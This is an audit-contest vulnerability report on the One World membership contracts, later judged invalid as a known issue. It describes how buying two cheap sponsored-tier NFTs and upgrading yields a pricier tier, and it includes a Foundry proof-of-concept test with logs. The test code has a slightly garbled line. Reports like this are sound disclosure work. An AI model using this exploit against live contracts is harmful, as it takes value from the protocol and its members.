Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: medium
Invalid

Users Can Acquire Expensive Membership NFTs at a Discounted Price by Bypassing the Intended Purchase Process, Exploiting Protocol Oversight

Summary

The MembershipFactory contract allows users to join any available Membership within a specific tier by purchasing a Membership NFT at the tier’s listed price. However, users can exploit an oversight in the protocol to purchase a SPONSORED DAO Membership at a significantly reduced price. They can then upgrade to a higher-tier Membership NFT, which is more expensive, by paying only a small additional amount. This loophole creates a vulnerability in the protocol, enabling users to bypass the intended functionality and potentially disrupt its balance, with cheaper tiers becoming inactive while expensive tiers receive undue activity.

Here’s where the issue resides:

MembershipFactory::joinDAO:

function joinDAO(address daoMembershipAddress, uint256 tierIndex) external {
require(daos[daoMembershipAddress].noOfTiers > tierIndex, "Invalid tier.");
require(
daos[daoMembershipAddress].tiers[tierIndex].amount > daos[daoMembershipAddress].tiers[tierIndex].minted,
"Tier full."
);
@> uint256 tierPrice = daos[daoMembershipAddress].tiers[tierIndex].price;
uint256 platformFees = (20 * tierPrice) / 100;
@> daos[daoMembershipAddress].tiers[tierIndex].minted += 1;
IERC20(daos[daoMembershipAddress].currency).transferFrom(_msgSender(), owpWallet, platformFees);
IERC20(daos[daoMembershipAddress].currency).transferFrom(
@> _msgSender(), daoMembershipAddress, tierPrice - platformFees
);
@> IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), tierIndex, 1);
emit UserJoinedDAO(_msgSender(), daoMembershipAddress, tierIndex);
}

MembershipFactory::upgradeTier:

function upgradeTier(address daoMembershipAddress, uint256 fromTierIndex) external {
require(daos[daoMembershipAddress].daoType == DAOType.SPONSORED, "Upgrade not allowed.");
require(daos[daoMembershipAddress].noOfTiers >= fromTierIndex + 1, "No higher tier available.");
// @info: burning may fail here
IMembershipERC1155(daoMembershipAddress).burn(_msgSender(), fromTierIndex, 2);
IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), fromTierIndex - 1, 1);
// @info: not updating storage
@> // @info: not charging excess platform fees and the full price for the NFT
// or not reimbursing the remaining platform fees
emit UserJoinedDAO(_msgSender(), daoMembershipAddress, fromTierIndex - 1);
}

Vulnerability Details

This oversight allows users to manipulate the protocol and obtain an expensive Membership tier NFT for a fraction of the intended price. Below is a step-by-step example of how this exploit can be executed:

  1. The NFT price for tier index 6 is 200.

  2. The NFT price for tier index 5 is 1000.

  3. Alice purchases the Membership NFT of type SPONSORED at tier index 6 for 200.

  4. Alice identifies the loophole and plans to exploit it to obtain a more expensive NFT.

  5. Alice purchases the Membership NFT for tier index 6 again.

  6. Now, Alice has two NFTs of tier index 6, worth a total of 400.

  7. Alice upgrades from tier index 6 to tier index 5, and for a small additional cost, she now holds a Membership NFT worth 1000.

This scenario demonstrates how users can bypass the intended pricing structure and upgrade to a higher-tier Membership NFT at a significantly lower cost.

Proof of Concept

The following test case proves the existence of this vulnerability by simulating the behavior in code:

  1. Convert the project to a Foundry-based structure.

  2. Install all necessary dependencies.

  3. Configure remappings as required.

  4. Create a test file MembershipERC1155Test.sol in the test folder.

  5. Add the following code to MembershipERC1155Test.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import {Test, console} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MembershipERC1155} from "../src/dao/tokens/MembershipERC1155.sol";
import {MembershipFactory} from "../src/dao/MembershipFactory.sol";
import {CurrencyManager} from "../src/dao/CurrencyManager.sol";
import {TierConfig, DAOConfig, DAOInputConfig, DAOType} from "../src/dao/libraries/MembershipDAOStructs.sol";
import {CurrencyMock} from "./mock/CurrencyMock.sol";
import {OWPWalletMock} from "./mock/OWPWalletMock.sol";
contract MembershipERC1155Test is Test {
CurrencyMock currency;
address CREATOR = makeAddr("CREATOR");
address CURRENCY_MANAGER_ADMIN = makeAddr("CURRENCY_MANAGER_ADMIN");
address membershipDAOCreatorAndJoiner = makeAddr("membershipDAOCreatorAndJoiner");
address MEMBERSHIP_FACTORY_ADMIN_AND_EXTERNAL_CALLER = makeAddr("MEMBERSHIP_FACTORY_ADMIN_AND_EXTERNAL_CALLER");
address OWP_FACTORY_AND_DEFAULT_ADMIN = makeAddr("OWP_FACTORY_AND_DEFAULT_ADMIN");
string BASE_URI = "https://one-world.com/uri/";
CurrencyManager currencyManager;
OWPWalletMock owpWalletMock;
MembershipFactory membershipFactory;
MembershipERC1155 membershipTokenImpl;
function setUp() public {
currency = new CurrencyMock();
vm.startPrank(CURRENCY_MANAGER_ADMIN);
currencyManager = new CurrencyManager();
currencyManager.addCurrency(address(currency));
vm.stopPrank();
vm.startPrank(OWP_FACTORY_AND_DEFAULT_ADMIN);
membershipTokenImpl = new MembershipERC1155();
vm.stopPrank();
owpWalletMock = new OWPWalletMock();
vm.startPrank(MEMBERSHIP_FACTORY_ADMIN_AND_EXTERNAL_CALLER);
membershipFactory = new MembershipFactory(
address(currencyManager), address(owpWalletMock), BASE_URI, address(membershipTokenImpl)
);
vm.stopPrank();
}
function baseFunction() public returns (MembershipERC1155) {
TierConfig memory tierConf_one = TierConfig({amount: 10, price: 100, power: 2, minted: 0});
TierConfig memory tierConf_two = TierConfig({amount: 10, price: 200, power: 2, minted: 0});
TierConfig memory tierConf_six = TierConfig({amount: 10, price: 1000, power: 2, minted: 0});
TierConfig;
tiersArr[0] = tierConf_one;
tiersArr[1] = tierConf_two;
tiersArr[2] = tierConf_two;
tiersArr[3] = tierConf_two;
tiersArr[4] = tierConf_two;
tiersArr[5] = tierConf_six;
tiersArr[6] = tierConf_two;
DAOInputConfig memory daoInputConf = DAOInputConfig({
ensname: "anyENSNAME",
daoType: DAOType.SPONSORED,
currency: address(currency),
maxMembers: 100,
noOfTiers: tiersArr.length
});
vm.startPrank(membershipDAOCreatorAndJoiner);
address daoMembertokenProxyAddress = membershipFactory.createNewDAOMembership(daoInputConf, tiersArr);
vm.stopPrank();
MembershipERC1155 daoMemberToken = MembershipERC1155(daoMembertokenProxyAddress);
return daoMemberToken;
}
function testUsersCanJoinMembershipByPurchasingNFTAtCheapPrice() public {
MembershipERC1155 daoMemberToken = baseFunction();
address alice = makeAddr("ALICE");
vm.startPrank(alice);
currency.mint(alice, 200);
currency.approve(address(membershipFactory), 200);
// Alice joins and purchases Membership NFT at 200
membershipFactory.joinDAO(address(daoMemberToken), 6);
vm.stopPrank();
// Alice checks the prices of NFTs in different tiers
TierConfig[] memory tiers = membershipFactory.tiers(address(daoMemberToken));
for (uint256 i = 0; i < tiers.length; i++) {
console.log("Tier ", i + 1, " Price: ", tiers[i].price);
}
// She identifies that tier index 5 has a price of 1000
// Instead of purchasing directly, she decides to upgrade her tier.
// Alice joins and purchases another Membership NFT at 200
vm.startPrank(alice);
currency.mint(alice, 200);
currency.approve(address(membershipFactory), 200);
membershipFactory.joinDAO(address(daoMemberToken), 6);
vm.stopPrank();
uint256 aliceBalanceTokenIdSixBefore = daoMemberToken.balanceOf(alice, 6);
uint256 aliceBalanceTokenIdFiveBefore = daoMemberToken.balanceOf(alice, 5);
console.log("Alice balance of tokenId 6 before: ", aliceBalanceTokenIdSixBefore);
console.log("Alice balance of tokenId 5 before: ", aliceBalanceTokenIdFiveBefore);
vm.startPrank(alice);
membershipFactory.upgradeTier(address(daoMemberToken), 6);
vm.stopPrank();
uint256 aliceBalanceTokenIdSixAfter = daoMemberToken.balanceOf(alice, 6);
uint256 aliceBalanceTokenIdFiveAfter = daoMemberToken.balanceOf(alice, 5);
// After the upgrade, Alice now holds a Membership NFT worth 1000, having given up 400
// Therefore, she effectively earns 600 in value
console.log("Alice balance of tokenId 6 after: ", aliceBalanceTokenIdSixAfter);
console.log("Alice balance of tokenId 5 after: ", aliceBalanceTokenIdFiveAfter);
}
}
  1. Create a mock directory within the test folder.

  2. Inside the mock folder, add the files CurrencyMock.sol and OWPWalletMock.sol.

  3. Implement the necessary mock contracts in these files to simulate the protocol’s behavior.

  4. Open a terminal and run the following command to execute the test:

forge test --mt testUsersCanJoinMembershipByPurchasingNFTAtCheapPrice -vv
  1. Review the test logs:

[⠊] Compiling...
[⠘] Compiling 1 files with Solc 0.8.22
[⠃] Solc 0.8.22 finished in 3.66s
Compiler run successful!
Ran 1 test for test/MembershipERC1155Test.t.sol:MembershipERC1155Test
[PASS] testUsersCanJoinMembershipByPurchasingNFTAtCheapPrice() (gas: 1800007)
Logs:
tier 1 Price: 100
tier 2 Price: 200
tier 3 Price: 200
tier 4 Price: 200
tier 5 Price: 200
tier 6 Price: 1000
tier 7 Price: 200
alice balance of tokenId six before : 2
alice balance of tokenId five before: 0
alice balance of tokenId six after : 0
alice balance of tokenId five after: 1
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.28ms (1.15ms CPU time)
Ran 1 test suite in 8.85ms (3.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

As demonstrated by the test case, users can indeed exploit the oversight to upgrade to an expensive Membership NFT without paying the full price, potentially destabilizing the protocol’s pricing structure.

Impact

  • Users can acquire expensive Membership NFTs at a fraction of their intended cost, disrupting the expected functionality of the protocol.

  • This manipulation undermines the integrity of the tiered Membership system, making cheaper tiers inactive while overburdening more expensive tiers with disproportionate activity.

  • Users may take advantage of this loophole to artificially inflate their Membership value without making the full financial commitment.

Tools Used

Manual review, Foundry

Recommendations

  • Implement stricter checks and balances for upgrading between tiers, including tracking the excess or shortfall in payments during upgrades.

  • Ensure that users are charged or refunded the correct amount for any discrepancies between the price of the NFT and platform fees when upgrading.

  • Consider adding a mechanism to prevent users from accumulating multiple NFTs in the same tier if they intend to upgrade, or penalize users who attempt to exploit this behavior.

By addressing these vulnerabilities, the protocol can be secured against potential abuses, preserving its intended functionality and the stability of the tiered pricing structure.

Updates

Lead Judging Commences

0xbrivan2 Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Known issue

Appeal created

theirrationalone Submitter
about 1 year ago
theirrationalone Submitter
about 1 year ago
0xbrivan2 Lead Judge
about 1 year ago
0xbrivan2 Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!